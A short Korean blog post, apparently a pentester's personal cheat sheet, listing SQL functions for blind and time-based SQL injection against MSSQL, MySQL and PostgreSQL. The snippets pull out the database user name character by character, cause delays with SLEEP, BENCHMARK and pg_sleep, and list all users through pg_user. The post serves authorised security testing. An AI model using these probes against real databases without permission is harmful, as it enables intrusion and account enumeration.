모의해킹 진단 - SQL 편 (2)
본문 바로가기

WEB/모의해킹 진단

모의해킹 진단 - SQL 편 (2)

내가 진단할 때 찾기 귀찮아서 만든 함수들

★ MSSQL 

user명 찾고 싶을 때)

1. len(user) = 숫자  :  길이 찾기

2. substring(user,1,1) = 'a(문자1개씩)' : user명 찾아내기

 

 

★ Mysql

timebased)

1. select BENCHMARK(1000000, 반복할 함수);  
2. select SLEEP(5);

 

 

★ Postgresql

timebased ) 

1. select count(*) from generate_series(1,50000) 

2. select pg_sleep(10);

 

user명 찾기 )

1. char_length(user) = 숫자;   : 길이 찾기

2. select substr(user,1,1)= 'a'  : 현재 데이터베이스 user명 한글자씩 찾기  (결과: T/F)

3. select * from pg_user;       : 전체 user 리스트 

 

 

'WEB > 모의해킹 진단' 카테고리의 다른 글

웹 URL 인코딩  (0) 2023.05.21
Payload  (0) 2023.05.21
모의해킹 진단 - SQL Injection 편 (1)  (0) 2023.05.15
sql injection 자동화도구 N3015M 사용법  (1) 2023.04.16